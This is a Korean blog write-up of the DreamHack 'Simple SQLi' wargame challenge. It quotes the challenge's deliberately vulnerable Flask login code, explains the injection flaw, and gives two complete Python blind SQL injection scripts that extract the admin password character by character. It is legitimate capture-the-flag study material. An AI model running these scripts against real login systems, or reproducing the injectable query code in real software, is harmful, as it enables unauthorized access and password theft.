[WebHacking][DreamHack][WarGame] Simple SQLi Write-Up

marceline·2024년 6월 5일
0

[WebHacking]

목록 보기
7/10

Level1) Simple SQLi

문제설명

https://dreamhack.io/wargame/challenges/24
로그인 서비스입니다.
SQL INJECTION 취약점을 통해 플래그를 획득하세요. 플래그는 flag.txt, FLAG 변수에 있습니다.

소스코드 분석

#!/usr/bin/python3
from flask import Flask, request, render_template, g
import sqlite3
import os
import binascii

app = Flask(__name__)
app.secret_key = os.urandom(32)

try:
    FLAG = open('./flag.txt', 'r').read()
except:
    FLAG = '[**FLAG**]'

DATABASE = "database.db"
if os.path.exists(DATABASE) == False:
    db = sqlite3.connect(DATABASE)
    db.execute('create table users(userid char(100), userpassword char(100));')
    db.execute(f'insert into users(userid, userpassword) values ("guest", "guest"), ("admin", "{binascii.hexlify(os.urandom(16)).decode("utf8")}");')
    db.commit()
    db.close()

def get_db():
    db = getattr(g, '_database', None)
    if db is None:
        db = g._database = sqlite3.connect(DATABASE)
    db.row_factory = sqlite3.Row
    return db

def query_db(query, one=True):
    cur = get_db().execute(query)
    rv = cur.fetchall()
    cur.close()
    return (rv[0] if rv else None) if one else rv

@app.teardown_appcontext
def close_connection(exception):
    db = getattr(g, '_database', None)
    if db is not None:
        db.close()

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'GET':
        return render_template('login.html')
    else:
        userid = request.form.get('userid')
        userpassword = request.form.get('userpassword')
        res = query_db(f'select * from users where userid="{userid}" and userpassword="{userpassword}"')
        if res:
            userid = res[0]
            if userid == 'admin':
                return f'hello {userid} flag is {FLAG}'
            return f'<script>alert("hello {userid}");history.go(-1);</script>'
        return '<script>alert("wrong");history.go(-1);</script>'

app.run(host='0.0.0.0', port=8000)

문제에서 주어지는 위 파이썬 코드에서 '/login' 페이지에서 SQL Injection 취약점이 발생할 수 있다.

res = query_db(f'select * from users where userid="{userid}" and userpassword="{userpassword}"')

userid와 userpassword값이 직접 쿼리 문자열에 삽입되고 있기 때문에 악의적인 사용자가 특수한 입력값을 통해서 SQL Query를 조작할 수 있다.

Exploit

첫번째 방법: 로그인 우회

처음에 소스코드를 확인하지 않고, 싱글쿼터를 사용하여 문자열을 종료했는데, 위에 언급되어 있듯이, 사용자입력이 더블쿼터를 사용하여 쿼리문에 전달되는 점을 확인해야한다!




여기서 limit 조건에 대해서 처음 접했는데, 추가적으로 공부한 내용은 아래와 같다.

Limit 절을 설정하면 결과 집합에서 첫번째 행을 선택할 수 있다. 여기서 추가로 공격구문에서는 ‘LIMIT 1, 1’ 인 부분을 볼 수 있는데, 이는 결과집합에서 1번째 행부터 시작하여 1개의 행을 선택한다. 따라서 두번째 행인 ‘admin’ 을 조회할 수 있는 것이다. [1]

두번째방법: Bline SQL Injection 으로 관리자 계정 비밀번호 직접 알아내기

풀이에 앞서 로그인 요청의 구조를 파악했었는데, userid, userpassword 라는 이름으로 데이터가 POST 메서드를 사용하여 전송되는 것 을 알았다.

‘userpassword’ 즉, 비밀번호의 길이를 파악하기 위해서 아래와 같이 파이썬 스크립트를 작성했다.

#!/usr/bin/python3
import requests
import sys
from urllib.parse import urljoin

class Solver:
    """Solver for simple_SQLi challenge"""
    
    # initialization
    def __init__(self, port: str) -> None:
        self._chall_url = f"http://host3.dreamhack.games:{port}"
        self._login_url = urljoin(self._chall_url, "login")
        
    # base HTTP methods
    def _login(self, userid: str, userpassword: str) -> bool:
        login_data = {
            "userid": userid,
            "userpassword": userpassword
        }
        resp = requests.post(self._login_url, data=login_data)
        return resp

    # base sqli methods
    def _sqli(self, query: str) -> requests.Response:
        resp = self._login(f"\" or {query}-- ", "hi")
        return resp
        
    def _sqli_lt_binsearch(self, query_tmpl: str, low: int, high: int) -> int:
        while 1:
            mid = (low+high) // 2
            if low+1 >= high:
                break
            query = query_tmpl.format(val=mid)
            if "hello" in self._sqli(query).text:
                high = mid
            else:
                low = mid
        return mid
        
    # attack methods
    def _find_password_length(self, user: str, max_pw_len: int = 100) -> int:
        query_tmpl = f"((SELECT LENGTH(userpassword) WHERE userid=\"{user}\")<{{val}})"
        pw_len = self._sqli_lt_binsearch(query_tmpl, 0, max_pw_len)
        return pw_len
        
    def solve(self):
        pw_len = solver._find_password_length("admin")
        print(f"Length of admin password is: {pw_len}")
        
        
if __name__ == "__main__":
    port = sys.argv[1]
    solver = Solver(port)
    solver.solve()

실행결과는 다음과 같다.

비밀번호의 길이는 총 32자리 인 것을 알 수 있다. 다음으로는 비밀번호를 알아내는 스크립트이다.

#!/usr/bin/python3
import requests
import sys
from urllib.parse import urljoin

class Solver:
    """Solver for simple_SQLi challenge"""

    # initialization
    def __init__(self, port: str) -> None:
        self._chall_url = f"http://host3.dreamhack.games:{port}"
        self._login_url = urljoin(self._chall_url, "login")

    # base HTTP methods
    def _login(self, userid: str, userpassword: str) -> requests.Response:
        login_data = {"userid": userid, "userpassword": userpassword}
        resp = requests.post(self._login_url, data=login_data)
        return resp

    # base sqli methods
    def _sqli(self, query: str) -> requests.Response:
        resp = self._login(f'" or {query}-- ', "hi")
        return resp

    def _sqli_lt_binsearch(self, query_tmpl: str, low: int, high: int) -> int:
        while 1:
            mid = (low + high) // 2
            if low + 1 >= high:
                break
            query = query_tmpl.format(val=mid)
            if "hello" in self._sqli(query).text:
                high = mid
            else:
                low = mid
        return mid

    # attack methods
    def _find_password_length(self, user: str, max_pw_len: int = 100) -> int:
        query_tmpl = f'((SELECT LENGTH(userpassword) WHERE userid="{user}") < {{val}})'
        pw_len = self._sqli_lt_binsearch(query_tmpl, 0, max_pw_len)
        return pw_len

    def _find_password(self, user: str, pw_len: int) -> str:
        pw = ""
        for idx in range(1, pw_len + 1):
            query_tmpl = f'((SELECT SUBSTR(userpassword,{idx},1) WHERE userid="{user}") < CHAR({{val}}))'
            pw += chr(self._sqli_lt_binsearch(query_tmpl, 0x2F, 0x7E))
            print(f"{idx}. {pw}")
        return pw

    def solve(self) -> None:
        # Find the length of admin password
        pw_len = solver._find_password_length("admin")
        print(f"Length of the admin password is: {pw_len}")
        # Find the admin password
        print("Finding password:")
        pw = solver._find_password("admin", pw_len)
        print(f"Password of the admin is: {pw}")

if __name__ == "__main__":
    port = sys.argv[1]
    solver = Solver(port)
    solver.solve()

결과는 아래와 같다. 얻은 비밀번호를 가지고 로그인에 성공했다.

아래와 같이 FLAG를 얻을 수 있다.

reference

[1] LaunchSchoole, Limit and offset: https://launchschool.com/books/sql/read/more_on_select

0개의 댓글